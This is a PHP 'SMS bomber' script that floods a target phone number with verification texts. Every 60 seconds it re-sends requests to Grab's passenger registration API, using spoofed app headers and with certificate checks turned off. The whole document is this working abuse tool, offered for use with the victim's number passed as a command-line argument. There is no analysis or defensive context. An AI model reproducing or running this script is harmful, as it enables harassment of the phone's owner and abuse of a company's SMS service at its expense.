BOM SMS GRAB

<?php

date_default_timezone_set('Asia/Jakarta');
function sendSMS($phone) {
    //$phone    =   str_replace(substr(0, 2, strlen($phone)), '62', $phone);  optional, replace 08 (first) with 62 (country code)
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://p.grabtaxi.com/api/passenger/v2/profiles/register");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "phoneNumber=$phone&countryCode=ID&name=Dtester&email=tercyduck@grabtaxi.com&deviceToken=*");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_ENCODING, 'gzip, deflate');
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    $headers = array();
    $headers[] = "X-Request-Id: 74ec758a-aa19-4ebb-9ae6-9385ad4722x6f";
    $headers[] = "Accept-Language: en-us;q=1.0, en;q=0.9";
    $headers[] = "User-Agent: Grab/4.29.1 (Android 6.0.1)";
    $headers[] = "Host: p.grabtaxi.com";
    $headers[] = "Content-Type: application/x-www-form-urlencoded";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    return $result;
    if (curl_errno($ch)) {
        echo 'Error:' . curl_error($ch);
    }
    curl_close ($ch);
}
function PRINTOUT($x) {
    $date   =   date("H:m:s");
    $r      =   json_decode(sendSMS($x));
    if (isset($r->phoneNumber)) {
        print("[{$date}] Send [OK => ". $r->phoneNumber ."] Sleeping..\n");
        sleep(60); // DO NOT ChANGe ThIS OR WiLL NOT WoRK!
        PRINTOUT($x);
    } else {
        print("[{$date}] ERROR CODE: \n"); // status = 400 => required country code e.g: +62;
        var_dump($r);
    }
}
PRINTOUT($argv[1]);